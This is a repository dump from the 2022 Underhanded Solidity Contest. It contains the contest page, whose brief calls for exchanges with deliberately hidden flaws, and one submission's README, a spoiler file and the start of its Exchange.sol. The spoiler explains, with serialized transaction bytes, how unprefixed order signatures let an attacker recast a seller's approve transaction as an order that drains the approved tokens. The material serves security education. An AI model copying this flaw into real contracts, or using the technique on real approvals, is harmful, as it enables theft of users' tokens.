Details</a></li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</section>\n\n\t\t\t\t<!-- One -->\n\t\t\t\t\t<section id=\"contest-info\" class=\"wrapper style2 spotlights\">\n\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/illusion1.png\" alt=\"Cubes Illusion\" data-position=\"center center\" /></a>\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t\t\t<h2>Theme</h2>\n\t\t\t\t\t\t\t\t\t<p>In this year, we would like you to build a simple decentralized exchange where people can trade their hard-earned NFTs, DAO governance tokens, or dog coins of their choice.</p>\n\t\t\t\t\t\t\t\t\t<p>The rules of decentralized exchanges (at least the simple ones) are very easy and nothing can go wrong there... right?</p>\n\t\t\t\t\t\t\t\t\t<p>Build a decentralized exchange either with an automated market maker or a match-making mechanism where trades do not really work as expected.\n\t\t\t\t\t\t\t\t\tYou can also add a flaw to a token implementation you provide instead of to the exchange itself.</p>\n\t\t\t\t\t\t\t\t\t<p>Please remember to stick to &quot;simplicity is key&quot;! The shorter the submission is, the better. Leave out ERC20 functions that are not needed for your submission, for example.</p>\n\t\t\t\t\t\t\t\t\t<p>Bonus points if you provide a short story and explain the setting around your exchange in the readme file.\n\t\t\t\t\t\t\t\t\tPlease also provide a crisp explanation about the flaw built into your submission, but put it into a different file named\n\t\t\t\t\t\t\t\t\t<code>rugpull.txt</code> or <code>spoiler.txt</code>, so judges are able to first read the submission without bias.</p>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</section>\n\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/illusion2.png\" alt=\"Triangle Illusion\" data-position=\"center center\" /></a>\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t\t\t<h2>Judges</h2>\n\t\t\t\t\t\t\t\t\t<p>Judges are presented with anonymised submissions. This year, the submissions will be assessed by:</p>\n\t\t\t\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/alexberegszaszi\">Alex Beregszaszi</a>, Solidity Co-Lead at Ethereum Foundation.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/a_permenev\">Anton Permenev</a>, Senior Engineer at ChainSecurity.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/duncancmt\">Duncan Townsend</a>, CTO at Immunefi.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/GNSPS\">Gonçalo Sá</a>, Security Engineer at ConsenSys Diligence.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/_hrkrshnn\">Harikrishnan Mulackal</a>, C++ Engineer Solidity at Ethereum Foundation.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/Montyly\">Josselin Feist</a>, Principal Security Engineer at Trail of Bits.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/samczsun\">samczsun</a>, Research Partner at Paradigm.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/beyer_st\">Stefan Beyer</a>, Lead Auditor at Solidified.</li>\n\t\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</section>\n\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/illusion3.png\" alt=\"Zeta Illusion\" data-position=\"center center\" /></a>\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t\t\t<h2>Prizes</h2>\n\t\t\t\t\t\t\t\t\t<p>The first place will receive a ticket to <a href=\"https://devcon.org/en/#road-to-devcon\">Devcon VII Bogota</a>.</p>\n\t\t\t\t\t\t\t\t\t<p>The top 3 submissions will receive a ticket to the <a href=\"https://devconnect.org\">Devconnect Coworking Space</a> and the opportunity to present their contest submission at the <a href=\"https://summit.soliditylang.org\">Solidity Summit 2022</a> in Amsterdam.</p>\n\t\t\t\t\t\t\t\t\t<p>The top 3 submissions of the Underhanded Solidity Contest will also be awarded points for the upcoming <a href=\"https://ctf.paradigm.xyz/\">Paradigm CTF 2022</a>.</p>\n\t\t\t\t\t\t\t\t\t<p>Furthermore, the three winners will be added to the Board of Fame. The winners and all qualified submissions will receive a custom Underhanded Solidity Contest NFT.</p>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</section>\n\t\t\t\t\t</section>\n\n\t\t\t\t<!-- Two -->\n\t\t\t\t\t<section id=\"coding-brief\" class=\"wrapper style3 fade-up\">\n\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t<h2>Coding Brief & Guidelines</h2>\n\t\t\t\t\t\t\t<p>All you need to know about contest participation and submission!</p>\n\t\t\t\t\t\t\t<div class=\"features\">\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-code\"></span>\n\t\t\t\t\t\t\t\t\t<h4>Brief</h4>\n\t\t\t\t\t\t\t\t\t<p>Build a decentralized exchange that looks fair, but can be &quot;manipulated&quot;. This can be either by it leaking money, a specific account being able to withdraw all money or something else you can think of. The flaw can also be in a specific token implementation you provide instead of the exchange. The only hard requirement is that the flaw is hidden.</p>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-gem\"></span>\n\t\t\t\t\t\t\t\t\t<h4>Plausibility & Originality</h4>\n\t\t\t\t\t\t\t\t\t<p>Remember to consider plausibility. Code that drops down to inline assembly without any clear reason why will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.<br><br>In addition to that it's needless to say that truly original ideas will receive more points than making use of already well known exploit/backdoor mechanisms.</p>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-save\"></span>\n\t\t\t\t\t\t\t\t\t<h4>Simplicity is key!</h4>\n\t\t\t\t\t\t\t\t\t<p>Submissions that are short and clean will be scored higher than those that are lengthy and complicated. It's easy to hide a vulnerability in complex and poorly written code; far harder to hide it in clean and simple code.</p>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-clock\"></span>\n\t\t\t\t\t\t\t\t\t<h4>Timeline</h4>\n\t\t\t\t\t\t\t\t\t<p>Make sure to send submissions before the end of the deadline!<br><br>\n\t\t\t\t\t\t\t\t\t\tSubmissions open: 2022-02-09.<br>\n\t\t\t\t\t\t\t\t\t\tSubmissions close: 2022-03-16.<br><br>\n\t\t\t\t\t\t\t\t\t\tWinners will be announced in time before <a href=\"https://devconnect.org\">Devconnect Amsterdam</a> in April.</p>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-lock-open\"></span>\n\t\t\t\t\t\t\t\t\t<h4>Open-Source License</h4>\n\t\t\t\t\t\t\t\t\t<p>The entirety of your submission must be licensed under an open-source license. You must not submit anything that cannot be published.</p>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-code-branch\"></span>\n\t\t\t\t\t\t\t\t\t<h4>Solidity Version</h4>\n\t\t\t\t\t\t\t\t\t<p>Please use <a href=\"https://github.com/ethereum/solidity/releases\">Solidity v0.8.0</a> or higher.</p>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</section>\n\n\t\t\t\t<!-- Three -->\n\t\t\t\t\t\t<section id=\"participation\" class=\"wrapper style2 spotlights\">\n\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t\t\t\t<h2>Submission & Participation</h2>\n\t\t\t\t\t\t\t\t\t\t<p>Please email your submissions before the deadline [2022-03-16, 11:59PM UTC] to <a href=\"mailto:sol_underhanded@ethereum.org\">sol_underhanded@ethereum.org</a>. Entries should consist of a ZIP file containing a README describing your submission and how it works [spoilers into a different file!], and one or more Solidity files.<br><br>\n\t\t\t\t\t\t\t\t\t\tEach person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.</p>\n\t\t\t\t\t\t\t\t\t\t<h4>Who can participate?</h4>\n\t\t\t\t\t\t\t\t\t\t<p>Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.</p>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t\t\t\t<h2>About</h2>\n\t\t\t\t\t\t\t\t\t\t<p>Inspired by the <a href=\"http://www.underhanded-c.org/\">Underhanded C Contest</a> and the first <a href=\"https://u.solidity.cc/\">Underhanded Solidity Contest</a>, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a <a href=\"https://underhanded.soliditylang.org/2020\">revival</a>. Nowadays, the Underhanded Solidity Contest takes place regularly on an annual to bi-annual basis.<br><br>\n\t\t\t\t\t\t\t\t\t\tThe Underhanded Solidity Contest aims to:\n\t\t\t\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t\t\t<li>Raise awareness about smart contract security.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li>Uncover language design faults.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li>Battle-test recently introduced language features and restrictions.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li>Highlight anti-patterns in smart contact development.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li>Establish new best practices for secure smart contract development.</li>\n\t\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t\t\tA big thank you to <a href=\"https://chainsecurity.com/)\">ChainSecurity</a>, <a href=\"https://diligence.consensys.net/\">ConsenSys Diligence</a>, <a href=\"https://immunefi.com/\">Immunefi</a>, <a href=\"https://solidified.io/\">Solidified</a>, <a href=\"https://www.trailofbits.com/\">Trail of Bits</a>, <a href=\"https://www.paradigm.xyz/\">Paradigm</a>, the <a href=\"https://ethereum.foundation/\">Ethereum Foundation</a> and all the judges for their support in organizing this contest!\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t</p>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</section>\n\n\t\t\t\t<!-- Four -->\n\t\t\t\t<section id=\"board-of-fame\" class=\"wrapper style2 spotlights\">\n\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t\t\t\t<h2>Board of Fame</h2>\n\t\t\t\t\t\t\t\t\t\t<p>The Underhanded Solidity Board of Fame lists the winners of all Underhanded Solidity Contests throughout the years.</p>\n\t\t\t\t\t\t\t\t\t\t<p>The first contest was helt in 2017 and evolved around the topic of \"ICOs\". Read more in the <a href=\"https://weka.medium.com/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079\">2017 Winner Announcement</a>.</p>\n\t\t\t\t\t\t\t\t\t\t<p>The topic of the second Underhanded Contest in 2020 was \"Upgrade Mechanisms\". Read more in the <a href=\"https://blog.soliditylang.org/2020/12/03/solidity-underhanded-contest-winners/\">2020 Winner Announcement</a>.</p>\n\t\t\t\t\t\t\t\t\t\t<p>In 2022, the theme was \"Decentralized Exchanges\". Read more in the <a href=\"https://blog.soliditylang.org/2022/04/08/announcing-the-underhanded-contest-winners-2022/\">2022 Winner Announcement</a>.</p>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"table-wrapper\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<table class=\"alt\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<thead>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Year</th>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Topic</th>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Name</th>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<th>Rank</th>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</thead>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2017</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>ICOs</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/Arachnid/uscc/tree/master/submissions-2017/martinswende\">Martin Swende</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2017</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>ICOs</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/Arachnid/uscc/tree/master/submissions-2017/ricmoo\">Richard Moore</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥈</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2017</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>ICOs</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/Arachnid/uscc/tree/master/submissions-2017/joa%CC%83ocarvalho\">João Carvalho</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥉</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission11_RobertMCForster\">Robert M C Forster</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission4_JaimeIglesias\">Jaime Iglesias</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥈</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission1_CoreyDickson\">Cory Dickson</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥉</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission8_RichardMoore\">Richard Moore</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🏅</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission14_MariusVanDerWijden\">Marius van der Wijden</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🏅</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2022</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Decentralized Exchanges</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022/submission9_TynanRichards\">Tynan Richards</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2022</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Decentralized Exchanges</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022/submission10_SantiagoPalladino\">Santiago Palladino</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥈</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2022</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Decentralized Exchanges</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022/submission17_MichaelZhu\">Michael Zhu</a></td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥉</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</section>\t\n\t\t\t\t\t</section>\n\t\t\t\n\t\t\t\t<!-- Five -->\n\t\t\t\t\t<section id=\"contact\" class=\"wrapper style2 spotlights\">\n\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t<h2>Contact</h2>\n\t\t\t\t\t\t\t<p>You have questions, want to get involved by sponsoring a prize, helping with judging or proposing a theme for the next Underhanded Solidity Contest? Then feel free to get in touch!</p>\n\t\t\t\t\t\t\t\t<section>\n\t\t\t\t\t\t\t\t\t<ul class=\"contact\">\n\t\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t\t<h3>Email</h3>\n\t\t\t\t\t\t\t\t\t\t\t<a href=\"mailto:sol_underhanded@ethereum.org\">sol_underhanded@ethereum.org</a>\n\t\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t\t<h3>Social</h3>\n\t\t\t\t\t\t\t\t\t\t\t<ul class=\"icons\">\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/solidity_lang\" class=\"icon brands fa-twitter\"><span class=\"label\">Twitter</span></a></li>\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://fosstodon.org/@solidity\" class=\"icon brands fa-mastodon\"><span class=\"label\">Mastodon</span></a></li>\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://github.com/ethereum/solidity\" class=\"icon brands fa-github\"><span class=\"label\">Github</span></a></li>\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://gitter.im/ethereum/solidity\" class=\"icon brands fa-gitter\"><span class=\"label\">Gitter</span></a></li>\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://matrix.to/#/#ethereum_solidity:gitter.im\" class=\"icon fas fa-comments\"><span class=\"label\">Matrix</span></a></li>\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://soliditylang.org/\" class=\"icon solid fa-globe\"><span class=\"label\">Web</span></a></li>\n\t\t\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t\t</section>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</section>\n\n\t\t\t</div>\n\n\t\t<!-- Footer -->\n\t\t\t<footer id=\"footer\" class=\"wrapper style1-alt\">\n\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t<ul class=\"menu\">\n\t\t\t\t\t\t<li>Made by the Solidity Team - 2022</li><li>Hyperspace Template by <a href=\"http://html5up.net\">HTML5 UP</a></li><li>Pattern by Shadows of love from NounProject.com</li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t</footer>\n\n\t\t<!-- Scripts -->\n\t\t\t<script src=\"assets/js/jquery.min.js\"></script>\n\t\t\t<script src=\"assets/js/jquery.scrollex.min.js\"></script>\n\t\t\t<script src=\"assets/js/jquery.scrolly.min.js\"></script>\n\t\t\t<script src=\"assets/js/browser.min.js\"></script>\n\t\t\t<script src=\"assets/js/breakpoints.min.js\"></script>\n\t\t\t<script src=\"assets/js/util.js\"></script>\n\t\t\t<script src=\"assets/js/main.js\"></script>\n\n\t</body>\n</html>\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/.gitignore",
    "content": "/node_modules\n/artifacts\n/cache\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/LICENSE",
    "content": "        DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE \n                    Version 2, December 2004 \n\n Everyone is permitted to copy and distribute verbatim or modified \n copies of this license document, and changing it is allowed as long \n as the name is changed. \n\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE \n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION \n\n  0. You just DO WHAT THE FUCK YOU WANT TO.\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/README.md",
    "content": "# ERC20 order-based exchange\n\nSimple order-based exchange for selling ERC20 tokens in exchange for ETH. Orders are stored off-chain and signed by the sellers. Buyers submit the order to execute to the contract, along with the seller's signature and the ETH to purchase the tokens.\n\nOrders can be `EXACT` or `PARTIAL`. Exact orders need to be fulfilled in a single operation, whereas partial orders can be fulfilled in multiple purchases from multiple buyers.\n\nOrders can also optionally define a `referrer` address, who will receive 1% of the value in ETH of the purchase. Can be used to reward the app that stores the orders off-chain. Does not allocate a fee if set to the zero address.\n\n## Reference\n\n```solidity\nstruct Order {\n  address referrer;     // optional referrer field that takes a 1% of the amount paid in ETH\n  address token;        // token being offered in this order\n  uint128 rate;         // number of tokens per eth sold (times RATE_DENOMINATOR)\n  uint24 nonce;         // nonce for differentiating two otherwise identical orders\n  uint256 amount;       // amount of tokens offered in this order\n  uint8 orderType;      // type of order (EXACT=0, PARTIAL=1)\n}\n```\n\n## TODO\n\n- Allow sellers to cancel an order\n- Add cross-chain replay attack protection"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/SPOILER.md",
    "content": "# Exploit\n\nOrders are signed without including the `\\x19Ethereum Signed Message:\\n` prefix. Transactions are potentially valid orders, and in particular, type-2 ERC20 approval transactions are a match. This means that, for any order, an attacker can pick up the `approve` transaction sent by the seller to the token contract, and repurpose it as a valid order with an extremely favorable rate.\n\nThe file `test/exploit.js` has a proof of concept of the attack. In the example, the `approve` transaction looks like the following:\n\n```json\n{\n  type: 2,\n  accessList: [],\n  maxPriorityFeePerGas: BigNumber { value: \"1000000000\" },\n  maxFeePerGas: BigNumber { value: \"69379087998\" },\n  gasLimit: BigNumber { value: \"50000\" },\n  to: '0x5FbDB2315678afecb367f032d93F642f64180aa3',\n  value: BigNumber { value: \"0\" },\n  nonce: 0,\n  data: '0x095ea7b3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000003635c9adc5dea00000',\n  r: '0x88e28705819334231af97f7c776352b627d722522d73be127e60d1d4a109d616',\n  s: '0x1944ba785436c6dae6ae33e435a6ccad2eb781e1b862ca68c118a147ed0c1eac',\n  v: 1,\n  chainId: 1,\n}\n```\n\nWhich serializes as:\n\n```\n0x02f86d0180843b9aca0085102e6f23c282c350945fbdb2315678afecb367f032d93f642f64180aa380b844095ea7b3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000003635c9adc5dea00000c0\n```\n\nUnpacking from the RLP encoding, we see that:\n\n```\n02 # type\nf86d # tx size (f8 means length field has size 1, 6d is actual length)\n01 # chainId\n80 # nonce (zero)\n843b9aca00 # maxPriorityFeePerGas\n85102e6f23c2 # maxFeePerGas\n82c350 # gasLimit\n94 # to length (20 bytes)\n5fbdb2315678afecb367f032d93f642f64180aa3 # to (token contract address)\n80 # value (zero)\nb844 # data length (more rlp encoding shenanigans)\n095ea7b3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000003635c9adc5dea00000 # data (approve, spender, amount)\nc0 # access list (empty)\n```\n\nWhich we can reshuffle as the following:\n\n```\n02f86d0180843b9aca0085102e6f23c282c35094 # referrer\n5fbdb2315678afecb367f032d93f642f64180aa3 # token address\n80b844095ea7b3000000000000000000 # rate\n000000 # nonce\ne7f1725e7734ce288f8367e1bb143e90bb3f0512 # exchange contract\n00000000000000000000000000000000000000000000003635c9adc5dea00000 # amount\nc0 # order type\n```\n\nThis matches the Order encoding prior to recovering the signer:\n\n- The first 20 bytes (referrer) are unimportant, as long as they are indeed 20 bytes long. This holds for chainId 1 (mainnet), for reasonable values of gas fees (1 gwei priority, 50 gwei base fee), and for the ~50k gas usage of an ERC20 approval.\n- The rate is guaranteed to start with `0x80` since `value` for an approval should be zero (rlp encoded as 0x80), which ensures a absurdly favorable rate for the buyer.\n- The nonce can be skipped, since we'll be attacking this seller for all the value they have approved to the exchange, so there is no need for more than one attack.\n- The address of the exchange is guaranteed to be in the `data` field, as is the recipient of the approval.\n- The approval amount matches the amount of the assembled order, which allows the attacker to steal all approved funds.\n- The order type is pretty much ignored as long as it's not zero, and will usually be `c0` since access lists are rarely populated.\n\nThe end result is that any seller can be drained of all the tokens they have approved for just a few wei."
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/contracts/Exchange.sol",
    "content": "// SPDX-License-Identifier: WTFPL\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n  function balanceOf(address account) external view returns (uint256);\n  function transfer(address to, uint256 amount) external returns (bool);\n  function allowance(address owner, address spender) external view returns (uint256);\n  function approve(address spender, uint256 amount) external returns (bool);\n  function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n\ncontract Exchange {\n  uint256 constant RATE_DENOMINATOR = 2 ** 64;\n  uint256 constant REFERRAL_FEE = 100;\n  uint256 constant REFERRAL_FEE_DENOMINATOR = 10000;\n\n  // Whether the order needs to be executed for the exact total amount of tokens offered, or can be partially consumed\n  uint8 constant EXACT_ORDER = 0;\n  uint8 